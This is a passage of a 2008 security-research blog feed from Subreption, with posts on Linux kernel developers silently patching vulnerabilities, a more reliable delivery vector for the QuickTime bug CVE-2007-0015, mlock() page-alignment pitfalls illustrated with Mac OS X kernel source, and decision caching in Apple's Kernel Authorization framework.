        Alright, this might be the first article on the "Silent Patches" series, starting today and possibly lasting... forever. So, let's get to the business. &lt;a href="http://www.crmbuyer.com/story/39565.html"&gt;Brad "spender" Spengler is pissed&lt;/a&gt;, and that's already a bad thing for the many people that knowingly or not, take advantage of his work and that from the guy or guys behind PaX, to be referred as &lt;a href="http://pax.grsecurity.net/docs/aslr.txt"&gt;The PaX Team&lt;/a&gt;, or Those Smart Guys Teaching Security On LKML.

spender and the PaX Team have possibly contributed the &lt;strong&gt;most important advances&lt;/strong&gt; in proactive defense technology for the past decade. &lt;a href="http://pax.grsecurity.net/docs/aslr.txt"&gt;ASLR&lt;/a&gt; was there before it became a marketing &lt;strong&gt;buzzword&lt;/strong&gt;, &lt;a href="http://pax.grsecurity.net/docs/pageexec.txt"&gt;NX&lt;/a&gt; and &lt;a href="http://pax.grsecurity.net/docs/mprotect.txt"&gt;memory protections enforcement&lt;/a&gt; existed way before Red Hat &lt;a href="http://lists.immunityinc.com/pipermail/dailydave/2007-May/004340.html"&gt;pushed&lt;/a&gt; &lt;a href="http://kerneltrap.org/node/4590"&gt;ExecShield&lt;/a&gt; to the Linux kernel and TCP &amp;amp; &lt;a href="http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=32c1da70810017a98aa6c431a5494a302b6b9a30"&gt;UDP source port randomization&lt;/a&gt; have been known for a while (even though now they seem to be the world's new internet superheroes with all this DNS &lt;a href="http://en.wikipedia.org/wiki/The_End_Is_Nigh"&gt;the-end-is-nigh&lt;/a&gt; media frenzy).

If you have used grsecurity in the past few years, you've used what Microsoft, Apple and Red Hat pretended to &lt;strong&gt;market&lt;/strong&gt; as &lt;em&gt;brand new&lt;/em&gt; technology baked in their very own development cubicles.

The story now is how the Linux kernel developers managed to absolutely and irremediably piss off the very same people that fed them with security research and technology that &lt;strong&gt;really worked as expected&lt;/strong&gt;. The very same people that have &lt;strong&gt;patched upstream vulnerabilities&lt;/strong&gt; in their "&lt;em&gt;third-party patches&lt;/em&gt;".

Back in 2005 (see [1]) this was &lt;strong&gt;already&lt;/strong&gt; happening. The fact that now we have a &lt;a href="http://git.kernel.org/?p=linux%2Fkernel%2Fgit%2Ftorvalds%2Flinux-2.6.git;a=summary"&gt;handy git interface&lt;/a&gt; where we can retrieve commit logs without difficulty just helps to pinpoint the silently patched issues and identify potentially hot issues.

Our take on this fracas is that spender and the PaX Team are rock-solid consistent with their arguments, and that the Linux kernel development people should definitely change their alleged full-disclosure policy text with one more &lt;strong&gt;accurate&lt;/strong&gt; &lt;strong&gt;according&lt;/strong&gt; to their true practices.
&lt;ol&gt;
	&lt;li&gt;&lt;a href="http://lwn.net/Articles/118251/" target="_blank"&gt;grsecurity 2.1.0 release / 5 Linux kernel advisories&lt;/a&gt; (LWN)&lt;/li&gt;
	&lt;li&gt;&lt;a href="http://lists.immunityinc.com/pipermail/dailydave/2007-May/004340.html"&gt;What RedHat doesn't want you to know about ExecShield (without NX)&lt;/a&gt; (Dailydave, May 2007)&lt;/li&gt;
	&lt;li&gt;&lt;a href="http://lists.immunitysec.com/pipermail/dailydave/2008-July/005167.html"&gt;Linux's unofficial security-through-coverup policy&lt;/a&gt; (Dailydave, July 2008)&lt;/li&gt;
	&lt;li&gt;&lt;a href="http://it.slashdot.org/it/08/07/17/1242220.shtml"&gt;Linux's Security Through Obscurity&lt;/a&gt; (Slashdot, July 2008)&lt;/li&gt;
&lt;/ol&gt;
        
    &lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=XLdVXVZBR6M:XXhxMyt59Ic:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=XLdVXVZBR6M:XXhxMyt59Ic:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=XLdVXVZBR6M:XXhxMyt59Ic:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?i=XLdVXVZBR6M:XXhxMyt59Ic:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=XLdVXVZBR6M:XXhxMyt59Ic:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=XLdVXVZBR6M:XXhxMyt59Ic:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?i=XLdVXVZBR6M:XXhxMyt59Ic:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=XLdVXVZBR6M:XXhxMyt59Ic:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SubreptionBlog/~4/XLdVXVZBR6M" height="1" width="1"/&gt;</content>
<feedburner:origLink>http://www.subreption.com/blog/2008/07/linux-kernel-developers-silently-patching-issues-no-way.html</feedburner:origLink></entry>

<entry>
    <title>CVE-2007-0015 and reliable attack vectors</title>
    <link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SubreptionBlog/~3/TFR9vAY5e64/cve-2007-0015-and-reliable-attack-vectors.html" />
    <id>tag:www.subreption.com,2008:/blog//1.94</id>

    <published>2008-04-06T19:04:48Z</published>
    <updated>2009-03-08T08:49:04Z</updated>

    <summary> When CVE-2007-0015 was published by the Month of Apple Bugs team, their exploit used a QTL Quicktime playlist file for triggering the bug. Whether their decision was because of preventing the exploit from being used "en masse" or simply...</summary>
    <author>
        <name>Subreption LLC</name>
        
    </author>
    
        <category term="Apple" scheme="http://www.sixapart.com/ns/types#category" />
    
        <category term="Security" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="decisions" label="decisions" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="exploits" label="exploits" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="olddays" label="old days" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en-US" xml:base="http://www.subreption.com/blog/">
        &lt;p style="text-align: center;"&gt;&lt;a href="http://blog.subreption.com/wp-content/uploads/2008/04/picture-1.png"&gt;&lt;img class="aligncenter size-medium wp-image-53" title="CVE-2007-0015 on Mac OS X Tiger 10.4.6" src="http://blog.subreption.com/wp-content/uploads/2008/04/picture-1-300x248.png" alt="CVE-2007-0015 on Mac OS X Tiger 10.4.6" width="300" height="248" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p style="text-align: left;"&gt;When &lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0015"&gt;CVE-2007-0015&lt;/a&gt; was published by the Month of Apple Bugs team, their exploit used a QTL Quicktime playlist file for triggering the bug. Whether their decision was because of preventing the exploit from being used "&lt;em&gt;en masse&lt;/em&gt;" or simply for testing a different, less classic attack vector, it's still worth noting that it could have worked far more efficiently via Safari, since Quicktime supports embedding playlist files and the Safari process address space would be easily subverted to ensure a higher degree of reliability when executing our payload.&lt;/p&gt;
&lt;p style="text-align: left;"&gt;Sometimes it's good to remember old flaws, and improve old exploit code. Sometimes it's even better to use new attack vectors on old flaws, too.&lt;/p&gt;
        
    &lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=TFR9vAY5e64:Zupwy0GsyaQ:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=TFR9vAY5e64:Zupwy0GsyaQ:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=TFR9vAY5e64:Zupwy0GsyaQ:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?i=TFR9vAY5e64:Zupwy0GsyaQ:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=TFR9vAY5e64:Zupwy0GsyaQ:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=TFR9vAY5e64:Zupwy0GsyaQ:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?i=TFR9vAY5e64:Zupwy0GsyaQ:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=TFR9vAY5e64:Zupwy0GsyaQ:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SubreptionBlog/~4/TFR9vAY5e64" height="1" width="1"/&gt;</content>
<feedburner:origLink>http://www.subreption.com/blog/2008/04/cve-2007-0015-and-reliable-attack-vectors.html</feedburner:origLink></entry>

<entry>
    <title>Memory locking behavior issues</title>
    <link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SubreptionBlog/~3/ko24G64PD7Y/memory-locking-behavior-issues.html" />
    <id>tag:www.subreption.com,2008:/blog//1.91</id>

    <published>2008-03-22T05:29:22Z</published>
    <updated>2009-03-08T08:49:03Z</updated>

    <summary><![CDATA[This is nothing new, and it's strictly what the POSIX specification warns about mlock() &amp; munlock(). As you may already know, mlock() locks memory to prevent it from being swapped to disk (for example, if you require cryptographic secrets such...]]></summary>
    <author>
        <name>Subreption LLC</name>
        
    </author>
    
        <category term="Apple" scheme="http://www.sixapart.com/ns/types#category" />
    
        <category term="Coding" scheme="http://www.sixapart.com/ns/types#category" />
    
        <category term="Cryptography" scheme="http://www.sixapart.com/ns/types#category" />
    
        <category term="Security" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="codereview" label="code review" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="kernel" label="kernel" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="mac" label="mac" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en-US" xml:base="http://www.subreption.com/blog/">
        This is nothing new, and it's strictly what &lt;a href="http://www.opengroup.org/onlinepubs/007908775/xsh/mlock.html"&gt;the POSIX specification warns&lt;/a&gt; about &lt;code&gt;mlock()&lt;/code&gt; &amp;amp; &lt;code&gt;munlock()&lt;/code&gt;. As you may already know, &lt;code&gt;mlock()&lt;/code&gt; locks memory to prevent it from being swapped to disk (for example, if you require cryptographic secrets such as encryption keys to be memory resident during system stress, preventing resilience on disk and other media). &lt;code&gt;munlock()&lt;/code&gt; does exactly the opposite: it unlocks memory.

The problem is that both functions don't necessarily work in the same manner across different implementations. The address parameter to both might be required to be page-aligned (rounded up to the size of a memory page, for example 4096 bytes in x86).

What happens if we supply a non-page aligned memory address? If the implementation rounds up by default, we will be either locking a whole page or unlocking it, if we use &lt;code&gt;mlock()&lt;/code&gt; or &lt;code&gt;munlock()&lt;/code&gt; respectively.  That means all the memory contents within the same page will be affected. This might not be an issue during locking, but when you are unlocking, it's a different situation... we might expose data that was supposed to remain locked and compromise other secrets.


        
The only solution to this issue is to have a consensus between vendors and implement the same behavior. That, or design and develop your own secure memory pool :) !

To illustrate this post, you can see below &lt;a href="http://fxr.watson.org/fxr/source/bsd/kern/kern_mman.c?v=xnu-1228#L973"&gt;the implementation for Mac OS X Leopard&lt;/a&gt; (10.5):
&lt;pre&gt;
972 int
973 mlock(__unused proc_t p, struct mlock_args *uap, __unused register_t *retvalval)
974 {
975         vm_map_t user_map;
976         vm_map_offset_t addr;
977         vm_map_size_t size, pageoff;
978         kern_return_t   result;
979
--
982
983         addr = (vm_map_offset_t) uap-&amp;gt;addr;
984         size = (vm_map_size_t)uap-&amp;gt;len;
985
986         /* disable wrap around */
987         if (addr + size &amp;lt; addr)
988                 return (EINVAL);
989
990         if (size == 0)
991                 return (0);
992
993         pageoff = (addr &amp;amp; PAGE_MASK);
994         addr -= pageoff;
995         size = vm_map_round_page(size+pageoff);
996         user_map = current_map();&lt;/pre&gt;

&lt;p style="text-align: center"&gt;&lt;img src="http://blog.subreption.com/wp-content/uploads/2008/03/pagelocking.png" alt="mlock() behavior in Mac OS X Leopard" /&gt;&lt;/p&gt;
    &lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=ko24G64PD7Y:ZWy2bYZvf0Y:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=ko24G64PD7Y:ZWy2bYZvf0Y:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=ko24G64PD7Y:ZWy2bYZvf0Y:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?i=ko24G64PD7Y:ZWy2bYZvf0Y:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=ko24G64PD7Y:ZWy2bYZvf0Y:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=ko24G64PD7Y:ZWy2bYZvf0Y:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?i=ko24G64PD7Y:ZWy2bYZvf0Y:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=ko24G64PD7Y:ZWy2bYZvf0Y:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SubreptionBlog/~4/ko24G64PD7Y" height="1" width="1"/&gt;</content>
<feedburner:origLink>http://www.subreption.com/blog/2008/03/memory-locking-behavior-issues.html</feedburner:origLink></entry>

<entry>
    <title>Security decisions from the past: to cache or not to cache</title>
    <link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SubreptionBlog/~3/XwOen4rEdkk/security-decisions-from-the-past-to-cache-or-not-to-cache.html" />
    <id>tag:www.subreption.com,2008:/blog//1.90</id>

    <published>2008-03-21T04:52:28Z</published>
    <updated>2009-03-08T08:49:03Z</updated>

    <summary>We haven't been abducted, yet. While working on an interesting research project, we found something about Apple's Kernel Authorization framework that might be a bit odd. From their documentation: When writing a vnode scope listener, be aware that not every...</summary>
    <author>
        <name>Subreption LLC</name>
        
    </author>
    
        <category term="Apple" scheme="http://www.sixapart.com/ns/types#category" />
    
        <category term="Security" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="hips" label="hips" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="kernel" label="kernel" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="mac" label="mac" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en-US" xml:base="http://www.subreption.com/blog/">
        We haven't been abducted, yet. While working on an interesting research project, we found something about Apple's &lt;a href="http://developer.apple.com/technotes/tn2005/tn2127.html"&gt;Kernel Authorization&lt;/a&gt; framework that might be a bit odd. From their documentation:
&lt;blockquote&gt;When writing a vnode scope listener, be aware that not every file system operation will trigger an authorization request. For example, if an actor successfully requests &lt;code&gt;KAUTH_VNODE_SEARCH&lt;/code&gt; on a directory, the system &lt;strong&gt;may cache&lt;/strong&gt; that result and grant future requests &lt;strong&gt;without invoking your listener&lt;/strong&gt; for each one.&lt;/blockquote&gt;
Albeit we haven't verified this any further, it's at very least interesting. Does that mean that a security decision might be cached and applied again under potentially circumstances? Huh. It's true that a vnode scope listener can be one hell of a performance black-hole, but race conditions due to cached decisions is worse than slowing down file system operations, especially if the module overrides other policies.
        
    &lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=XwOen4rEdkk:epytJ4jnb2o:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=XwOen4rEdkk:epytJ4jnb2o:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=XwOen4rEdkk:epytJ4jnb2o:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?i=XwOen4rEdkk:epytJ4jnb2o:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=XwOen4rEdkk:epytJ4jnb2o:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=XwOen4rEdkk:epytJ4jnb2o:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?i=XwOen4rEdkk:epytJ4jnb2o:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=XwOen4rEdkk:epytJ4jnb2o:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SubreptionBlog/~4/XwOen4rEdkk" height="1" width="1"/&gt;</content>
<feedburner:origLink>http://www.subreption.com/blog/2008/03/security-decisions-from-the-past-to-cache-or-not-to-cache.html</feedburner:origLink></entry>

</feed>
